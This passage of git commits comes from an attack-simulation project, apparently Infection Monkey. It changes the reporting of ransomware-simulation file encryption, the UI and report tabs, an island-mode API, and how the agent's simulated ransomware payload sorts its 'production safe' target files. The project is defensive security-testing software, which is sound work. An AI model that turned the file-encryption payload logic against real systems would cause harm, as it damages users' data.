"sha256:99d8ab206a5270c1002bfcf25c51bf329ca951e5a169f3b43214fdda1f0b5f0d", + "sha256:9a854b916806c7e3b40e6616ac9e85d3cdb7649d9e6590653deb5b341a736cec", + "sha256:b85ac458354165405c8a84725de7bbd07b00d9f72c31a60ffbf96bb38d3e25fa", + "sha256:bc84fb254a875a9f66616ed4538542fb7965db6356f3df571d783f7c8d256edd", + "sha256:c92831dac113a6e0ab28bc98f33781383fe294df1a2c3dfd1e850114da35fd5b", + "sha256:cbe23b323988a04c3e5b0c387fe3f8f363bf06c0680daf775875d979e376bd26", + "sha256:ccb3d2190476d00414aab36cca453e4596e8f70a206e2aa8db3d495a109153d2", + "sha256:d8bbce0c96462dbceaa7ac4a7dfbbee92745b801b24bce10a98d2f2b1ea9432f", + "sha256:db2b7df831c3187a37f3bb80ec095f249fa276dbe09abd3d35297fc250385694", + "sha256:e586f448df2bbc37dfadccdb7ccd125c62b4348cb90c10840d695592aa1b29e0", + "sha256:e5983c19d0beb6af88cb4d47afb92d96751fb3fa1784d8785b1cdf14c6519407", + "sha256:e6a1e5ca97d411a461041d057348e578dc344ecd2add3555aedba3b408c9f874", + "sha256:eaf58b9e30e0e546cdc3ac06cf9165a1ca5b3de8221e9df679416ca667972035", + "sha256:ed693137a9187052fc46eedfafdcb74e09917166362af4cc4fddc3b31560e93d", + "sha256:edd1a68f79b89b0c57339bce297ad5d5ffcc6ae7e1afdb10f1947706ed066c9c", + "sha256:f080248b3e029d052bf74a897b9d74cfb7643537fbde97fe8225a6467fb559b5", + "sha256:f9392a4555f3e4cb45310a65b403d86b589adc773898c25a39184b1ba4db8985", + "sha256:f98dc35ab9a749276f1a4a38ab3e0e2ba1662ce710f6530f5b0a6656f1c32b58" + ], + "version": "==2021.7.6" }, "requests": { "hashes": [ @@ -1491,11 +1502,11 @@ }, "zipp": { "hashes": [ - "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", - "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", + "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" ], "markers": "python_version >= '3.6'", - "version": "==3.4.1" + "version": "==3.5.0" } } } From f8cbd4cb334067840f601ef1df34f958d5a54e0c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Jul 2021 09:08:27 +0300 Subject: [PATCH 1098/1360] Island: change ransomware report table to return the amount of files encrypted and the number of total encryption attempts --- .../services/ransomware/ransomware_report.py | 28 +++++++++++++++---- .../ransomware/test_ransomware_report.py | 21 ++++++++++++-- 2 files changed, 41 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py index ff8555cd33a..425c09b695e 100644 --- a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -8,19 +8,36 @@ def get_encrypted_files_table(): query = [ {"$match": {"telem_category": "file_encryption"}}, - {"$unwind": "$data.files"}, + {"$addFields": {"total_attempts": {"$size": "$data.files"}}}, + { + "$addFields": { + "successful_encryptions": { + "$filter": { + "input": "$data.files", + "as": "files", + "cond": {"$eq": ["$$files.success", True]}, + } + } + } + }, + {"$addFields": {"successful_encryptions": {"$size": "$successful_encryptions"}}}, { "$group": { - "_id": {"monkey_guid": "$monkey_guid", "files_encrypted": "$data.files.success"} + "_id": { + "monkey_guid": "$monkey_guid", + "successful_encryptions": "$successful_encryptions", + "total_attempts": "$total_attempts", + } } }, {"$replaceRoot": {"newRoot": "$_id"}}, - {"$sort": {"files_encrypted": -1}}, + {"$sort": {"successful_encryptions": -1}}, { "$group": { "_id": {"monkey_guid": "$monkey_guid"}, "monkey_guid": {"$first": "$monkey_guid"}, - "files_encrypted": {"$first": "$files_encrypted"}, + "total_attempts": {"$first": "$total_attempts"}, + "successful_encryptions": {"$first": "$successful_encryptions"}, } }, { @@ -34,7 +51,8 @@ def get_encrypted_files_table(): { "$project": { "monkey": {"$arrayElemAt": ["$monkey", 0]}, - "files_encrypted": "$files_encrypted", + "total_attempts": "$total_attempts", + "successful_encryptions": "$successful_encryptions", } }, ] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index ea9c4f2931b..38008824c74 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -46,8 +46,18 @@ def test_get_encrypted_files_table(fake_mongo, monkeypatch): results = get_encrypted_files_table() assert results == [ - {"hostname": "test-pc-2", "exploits": ["Manual execution"], "files_encrypted": True}, - {"hostname": "WinDev2010Eval", "exploits": ["SMB Exploiter"], "files_encrypted": True}, + { + "hostname": "test-pc-2", + "exploits": ["Manual execution"], + "successful_encryptions": 3, + "total_attempts": 3, + }, + { + "hostname": "WinDev2010Eval", + "exploits": ["SMB Exploiter"], + "successful_encryptions": 1, + "total_attempts": 1, + }, ] @@ -68,7 +78,12 @@ def test_get_encrypted_files_table__only_errors(fake_mongo, monkeypatch): results = get_encrypted_files_table() assert results == [ - {"hostname": "test-pc-2", "exploits": ["Manual execution"], "files_encrypted": False} + { + "hostname": "test-pc-2", + "exploits": ["Manual execution"], + "successful_encryptions": 0, + "total_attempts": 1, + } ] From a0e0e0a9be1f19ef9eb4041f3954c0af4776d7a1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Jul 2021 09:32:50 +0300 Subject: [PATCH 1099/1360] Island: fix rebase issues created when rebasing ransomware table generation feature --- .../cc/services/ransomware/ransomware_report.py | 4 ++-- .../cc/services/ransomware/test_ransomware_report.py | 7 +------ 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py index 425c09b695e..fb3e6916789 100644 --- a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -1,7 +1,6 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.reporting.report import ReportService from typing import Dict, List +from monkey_island.cc.database import mongo from monkey_island.cc.services.reporting.report import ReportService @@ -80,6 +79,7 @@ def _get_monkey_origin_exploits(monkey_hostname, exploited_nodes): else: return ["Manual execution"] + def get_propagation_stats() -> Dict: scanned = ReportService.get_scanned() exploited = ReportService.get_exploited() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index 38008824c74..f59edbbc398 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -1,7 +1,5 @@ import mongomock import pytest -from mongoengine import get_connection -import mongomock from tests.data_for_tests.mongo_documents.edges import EDGE_EXPLOITED, EDGE_SCANNED from tests.data_for_tests.mongo_documents.monkeys import MONKEY_AT_ISLAND, MONKEY_AT_VICTIM from tests.data_for_tests.mongo_documents.telemetries.file_encryption import ( @@ -10,11 +8,8 @@ ENCRYPTION_ERROR, ENCRYPTION_ONE_FILE, ) -import pytest from monkey_island.cc.services.ransomware import ransomware_report -from monkey_island.cc.services.reporting.report import ReportService - from monkey_island.cc.services.ransomware.ransomware_report import get_encrypted_files_table from monkey_island.cc.services.reporting.report import ReportService @@ -87,7 +82,6 @@ def test_get_encrypted_files_table__only_errors(fake_mongo, monkeypatch): ] -@pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") def test_get_encrypted_files_table__no_telemetries(fake_mongo, monkeypatch): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) @@ -105,6 +99,7 @@ def test_get_encrypted_files_table__no_telemetries(fake_mongo, monkeypatch): assert results == [] + @pytest.fixture def patch_report_service_for_stats(monkeypatch): TEST_SCANNED_RESULTS = [{}, {}, {}, {}] From e5160a5fb4cf24e964ccd27d040ea302c0c7f96d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 13 Jul 2021 13:41:02 +0530 Subject: [PATCH 1100/1360] agent: Sort files in ransomware payload's `_find_files()` before returning --- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 9324542adef..f4295f866da 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -70,7 +70,9 @@ def run_payload(self): def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") - return select_production_safe_target_files(self._target_dir, self._targeted_file_extensions) + return sorted( + select_production_safe_target_files(self._target_dir, self._targeted_file_extensions) + ) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: LOG.info(f"Encrypting files in {self._target_dir}") From 278a09e039ace3114e92e10cfaf6b8b225191ea0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 13 Jul 2021 14:23:51 +0530 Subject: [PATCH 1101/1360] cc: Add ransomware report tab to reports page depending on mode --- .../cc/ui/src/components/pages/ReportPage.js | 22 ++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 86b73dbb4f4..df3fd1137a3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -68,7 +68,7 @@ class ReportPageComponent extends AuthComponent { // }); // }); if (this.shouldShowRansomwareReport(this.state.ransomwareReport)) { - this.state.sections.push({key: 'ransomware', title: 'Ransomware report'}) + this.addRansomwareReportTab(); } } } @@ -104,6 +104,26 @@ class ReportPageComponent extends AuthComponent { } } + addRansomwareReportTab() { // TODO: Fetch mode from API endpoint + let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; + + // let mode = ""; + // this.authFetch('/api/mode') + // .then(res => res.json()) + // .then(res => { + // mode = res.mode + // } + // ); + + let mode = 'ransomware'; + if (mode === 'ransomware') { + this.state.sections.splice(0, 0, ransomwareTab); + } + else { + this.state.sections.push(ransomwareTab); + } + } + componentWillUnmount() { clearInterval(this.state.ztReportRefreshInterval); } From 8efd5629359060c4f135b54a33c6f6409d7bcf49 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 13 Jul 2021 14:25:41 +0530 Subject: [PATCH 1102/1360] cc: Rename "sections" -> "orderedSections", and "sectionsOrder" -> "sections" in `ReportPage.js` `sectionsOrder` was not handling the order of the sections. It was only being used to render the selected section. `sections` is what was actually handling the order of the sections, which is now `orderedSections`. --- .../cc/ui/src/components/pages/ReportPage.js | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index df3fd1137a3..a8fb0a0d285 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -15,7 +15,7 @@ class ReportPageComponent extends AuthComponent { constructor(props) { super(props); - this.sectionsOrder = ['security', 'zeroTrust', 'attack', 'ransomware']; + this.sections = ['security', 'zeroTrust', 'attack', 'ransomware']; this.state = { securityReport: {}, attackReport: {}, @@ -23,8 +23,8 @@ class ReportPageComponent extends AuthComponent { ransomwareReport: {}, allMonkeysAreDead: false, runStarted: true, - selectedSection: ReportPageComponent.selectReport(this.sectionsOrder), - sections: [{key: 'security', title: 'Security report'}, + selectedSection: ReportPageComponent.selectReport(this.sections), + orderedSections: [{key: 'security', title: 'Security report'}, {key: 'zeroTrust', title: 'Zero trust report'}, {key: 'attack', title: 'ATT&CK report'}] }; @@ -117,10 +117,10 @@ class ReportPageComponent extends AuthComponent { let mode = 'ransomware'; if (mode === 'ransomware') { - this.state.sections.splice(0, 0, ransomwareTab); + this.state.orderedSections.splice(0, 0, ransomwareTab); } else { - this.state.sections.push(ransomwareTab); + this.state.orderedSections.push(ransomwareTab); } } @@ -160,7 +160,7 @@ class ReportPageComponent extends AuthComponent { history.push(key) }} className={'report-nav'}> - {this.state.sections.map(section => this.renderNavButton(section))} + {this.state.orderedSections.map(section => this.renderNavButton(section))} )}/>) }; From f9ed53a5272de4e5c50b5d0423b411288c993285 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 10:30:12 +0200 Subject: [PATCH 1103/1360] Island: Add UT tests for island mode model --- .../cc/models/island_mode_model.py | 5 ++++ .../monkey_island/cc/resources/island_mode.py | 16 +++++++---- .../cc/services/mode/island_mode_service.py | 6 +++- .../monkey_island/cc/resources/conftest.py | 13 +++++++++ .../cc/resources/test_island_mode.py | 28 +++++++++++++++++-- 5 files changed, 58 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/models/island_mode_model.py diff --git a/monkey/monkey_island/cc/models/island_mode_model.py b/monkey/monkey_island/cc/models/island_mode_model.py new file mode 100644 index 00000000000..dec93e5017b --- /dev/null +++ b/monkey/monkey_island/cc/models/island_mode_model.py @@ -0,0 +1,5 @@ +from mongoengine import Document, StringField + + +class IslandMode(Document): + mode = StringField() diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index d0a10956416..cf8a3679e8f 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -1,20 +1,24 @@ import json +import logging import flask_restful from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.mode import island_mode_service +from monkey_island.cc.services.mode.island_mode_service import set_mode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum +logger = logging.getLogger(__name__) + class IslandMode(flask_restful.Resource): @jwt_required def post(self): body = json.loads(request.data) mode_str = body.get("mode") - mode = IslandModeEnum(mode_str) - island_mode_service.set_mode(mode) - - # TODO return status - return make_response({}) + try: + mode = IslandModeEnum(mode_str) + mode_value = set_mode(mode) + return make_response({"status": "MODE_FOUND", "mode": mode_value}, 200) + except ValueError: + return make_response({"status": "MODE_NOT_FOUND"}, 404) diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py index 86f3e6d0971..75041d2c18c 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -1,5 +1,9 @@ +from monkey_island.cc.models.island_mode_model import IslandMode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum def set_mode(mode: IslandModeEnum): - pass + island_mode_model = IslandMode() + island_mode_model.mode = mode.value + island_mode_model.save() + return mode.value diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py index 0e82fe16363..2421e00aa3a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py @@ -1,11 +1,13 @@ import flask_jwt_extended import flask_restful +import mongoengine import pytest from flask import Flask import monkey_island.cc.app import monkey_island.cc.resources.auth.auth import monkey_island.cc.resources.island_mode +from monkey_island.cc.models.island_mode_model import IslandMode from monkey_island.cc.services.representations import output_json @@ -30,3 +32,14 @@ def mock_init_app(): monkey_island.cc.app.init_api_resources(api) return app + + +@pytest.fixture(scope="module", autouse=True) +def fake_mongo(): + mongoengine.disconnect() + mongoengine.connect("mongoenginetest", host="mongomock://localhost") + + +@pytest.fixture(scope="function") +def uses_database(): + IslandMode.objects().delete() diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index 01cb17aeac8..13ded4799df 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -2,12 +2,34 @@ import pytest +from monkey_island.cc.models.island_mode_model import IslandMode + def test_island_mode_post(flask_client): - resp = flask_client.post('/api/island-mode', data=json.dumps({"mode": "ransomware"}), follow_redirects=True) + resp = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True + ) assert resp.status_code == 200 def test_island_mode_post__invalid_mode(flask_client): - with pytest.raises(TypeError): - flask_client.post('/api/island-mode', data=json.dumps({"mode": "bogus mode"}), follow_redirects=True) + resp = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True + ) + assert resp.status_code == 404 + + +@pytest.mark.usefixtures("uses_database") +def test_island_mode_post__set_model(flask_client): + flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True + ) + assert IslandMode.objects[0].mode == "ransomware" + + +@pytest.mark.usefixtures("uses_database") +def test_island_mode_post__set_invalid_model(flask_client): + flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True + ) + assert len(IslandMode.objects) == 0 From 563f3e749152faf9cafda42a449e55eb3c281d79 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 11:51:40 +0200 Subject: [PATCH 1104/1360] ui: Add margin to buttons and remove margin from page title --- .../monkey_island/cc/ui/src/components/pages/RunServerPage.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js index 4b65e45b51f..6a0e983dede 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js @@ -16,7 +16,7 @@ class RunServerPageComponent extends React.Component { -

    Get started

    +

    Getting Started


    @@ -32,7 +32,7 @@ export default RunServerPageComponent; function HomepageCallToActions() { return ( -
    +
    From 3a2f5f5620312d9c83edf831a0725d92d38b7453 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Jul 2021 13:30:24 +0300 Subject: [PATCH 1105/1360] Island: reformat ransomware_report.py resource to conform to black --- monkey/monkey_island/cc/resources/ransomware_report.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 0fb33e8975b..df193e693e8 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -9,5 +9,9 @@ class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): encrypted_files_table = ransomware_report.get_encrypted_files_table() - return jsonify({"encrypted_files_table": encrypted_files_table, - "propagation_stats": ransomware_report.get_propagation_stats()}) + return jsonify( + { + "encrypted_files_table": encrypted_files_table, + "propagation_stats": ransomware_report.get_propagation_stats(), + } + ) From 4a9062c480c94ea7106c5ddadbd62039275c8eb2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Jul 2021 16:34:25 +0300 Subject: [PATCH 1106/1360] Implements file encryption table in the ransomware report page --- .../report-components/RansomwareReport.js | 22 +++++++- .../report-components/common/RenderBool.tsx | 13 +++++ .../ransomware/FileEncryptionTable.tsx | 50 +++++++++++++++++++ 3 files changed, 84 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index bb24dcaa11f..a7a05db5a23 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -3,10 +3,25 @@ import React from 'react'; import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; import pluralize from 'pluralize' +import FileEncryptionTable from './ransomware/FileEncryptionTable'; class RansomwareReport extends React.Component { + + constructor(props) { + super(props); + this.state = { + report: props.report + }; + } + + componentDidUpdate(prevProps) { + if (this.props.report !== prevProps.report) { + this.setState({report: this.props.report}) + } + } + stillLoadingDataFromServer() { - return Object.keys(this.props.report).length === 0; + return Object.keys(this.state.report).length === 0; } generateReportContent() { @@ -19,6 +34,11 @@ class RansomwareReport extends React.Component { getExploitationStats() { return ( +
    +

    + This report shows information about the ransomware simulation run by Infection Monkey. +

    +

    Propagation diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx new file mode 100644 index 00000000000..70d52768291 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx @@ -0,0 +1,13 @@ +import React from 'react'; + + +function renderBool(val: Boolean) { + + if(val === true){ + return (

    Yes

    ); + } else { + return (

    No

    ); + } +} + +export default renderBool; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx new file mode 100644 index 00000000000..306cb5cc35d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx @@ -0,0 +1,50 @@ +import React from 'react'; +import ReactTable from 'react-table'; +import {renderArray} from '../common/RenderArrays'; +import renderBool from "../common/RenderBool"; + + +const columns = [ + { + Header: 'Ransomware info', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => x.hostname}, + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, + {Header: 'Files got encrypted?', id: 'files_encrypted', accessor: x => renderBool(x.files_encrypted)} + ] + } +]; + +const pageSize = 10; + +type TableRow = { + exploits: [string], + files_encrypted: boolean, + hostname: string +} + +type Props = { + tableData: [TableRow] +} + +const FileEncryptionTable = (props: Props) => { + let defaultPageSize = props.tableData.length > pageSize ? pageSize : props.tableData.length; + let showPagination = props.tableData.length > pageSize; + return ( + <> +

    + File encryption +

    +
    + +
    + + ); +} + +export default FileEncryptionTable; From 60cac3b287adcfd5a3604bad49616042e0e83021 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Jul 2021 10:17:14 +0300 Subject: [PATCH 1107/1360] Island: refactor file encryption table to display how many files were encrypted --- .../report-components/common/RenderBool.tsx | 13 ------ .../common/RenderFileEncryptionStats.tsx | 12 ++++++ .../ransomware/FileEncryptionTable.tsx | 41 +++++++++++-------- 3 files changed, 35 insertions(+), 31 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx deleted file mode 100644 index 70d52768291..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderBool.tsx +++ /dev/null @@ -1,13 +0,0 @@ -import React from 'react'; - - -function renderBool(val: Boolean) { - - if(val === true){ - return (

    Yes

    ); - } else { - return (

    No

    ); - } -} - -export default renderBool; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx new file mode 100644 index 00000000000..7e5853c14ac --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx @@ -0,0 +1,12 @@ +import React from 'react'; + + +function renderFileEncryptionStats(successful: number, total: number) { + if(successful > 0){ + return (

    {successful} out of {total}

    ); + } else { + return (

    {successful} out of {total}

    ); + } +} + +export default renderFileEncryptionStats; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx index 306cb5cc35d..8be659eabf2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx @@ -1,38 +1,29 @@ import React from 'react'; import ReactTable from 'react-table'; import {renderArray} from '../common/RenderArrays'; -import renderBool from "../common/RenderBool"; +import renderFileEncryptionStats from "../common/renderFileEncryptionStats"; -const columns = [ - { - Header: 'Ransomware info', - columns: [ - {Header: 'Machine', id: 'machine', accessor: x => x.hostname}, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, - {Header: 'Files got encrypted?', id: 'files_encrypted', accessor: x => renderBool(x.files_encrypted)} - ] - } -]; - -const pageSize = 10; +type Props = { + tableData: [TableRow] +} type TableRow = { exploits: [string], - files_encrypted: boolean, + total_attempts: number, + successful_encryptions: number, hostname: string } -type Props = { - tableData: [TableRow] -} +const pageSize = 10; + const FileEncryptionTable = (props: Props) => { let defaultPageSize = props.tableData.length > pageSize ? pageSize : props.tableData.length; let showPagination = props.tableData.length > pageSize; return ( <> -

    +

    File encryption

    @@ -47,4 +38,18 @@ const FileEncryptionTable = (props: Props) => { ); } +const columns = [ + { + Header: 'Ransomware info', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => x.hostname}, + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, + {Header: 'Files encrypted', + id: 'files_encrypted', + accessor: x => renderFileEncryptionStats(x.successful_encryptions, x.total_attempts)} + ] + } +]; + + export default FileEncryptionTable; From b408c650dc597f26ef6b6bae1ad560a6da27dead Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Jul 2021 10:17:48 +0300 Subject: [PATCH 1108/1360] Island: refactor ransomware report to improve readability and UI --- .../report-components/RansomwareReport.js | 23 +++++++++++-------- .../styles/pages/report/RansomwareReport.scss | 3 +++ 2 files changed, 16 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index a7a05db5a23..4dd4b6f3986 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -5,6 +5,8 @@ import ReportLoader from './common/ReportLoader'; import pluralize from 'pluralize' import FileEncryptionTable from './ransomware/FileEncryptionTable'; +import '../../styles/pages/report/RansomwareReport.scss'; + class RansomwareReport extends React.Component { constructor(props) { @@ -28,24 +30,25 @@ class RansomwareReport extends React.Component { return (
    {this.getExploitationStats()} +
    ) } getExploitationStats() { return ( -
    + <>

    This report shows information about the ransomware simulation run by Infection Monkey.

    - -
    -

    - Propagation -

    - {this.getScannedVsExploitedStats()} - {this.getExploitationStatsPerExploit()} -
    +
    +

    + Propagation +

    + {this.getScannedVsExploitedStats()} + {this.getExploitationStatsPerExploit()} +
    + ) } @@ -89,7 +92,7 @@ class RansomwareReport extends React.Component { } return ( -
    +

    {content} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss new file mode 100644 index 00000000000..4d55ef8dfd3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss @@ -0,0 +1,3 @@ +.ransomware-report .report-section-header { + margin-top: 40px; +} From 3e2cf1d69c934d266428ced6b4876d13ef1ac4e6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Jul 2021 15:33:50 +0300 Subject: [PATCH 1109/1360] Island: refactor RansomwareReport.js to not use the props in state initialization --- .../report-components/RansomwareReport.js | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 4dd4b6f3986..adda1f2e09c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -9,28 +9,15 @@ import '../../styles/pages/report/RansomwareReport.scss'; class RansomwareReport extends React.Component { - constructor(props) { - super(props); - this.state = { - report: props.report - }; - } - - componentDidUpdate(prevProps) { - if (this.props.report !== prevProps.report) { - this.setState({report: this.props.report}) - } - } - stillLoadingDataFromServer() { - return Object.keys(this.state.report).length === 0; + return Object.keys(this.props.report).length === 0; } generateReportContent() { return (
    {this.getExploitationStats()} - +
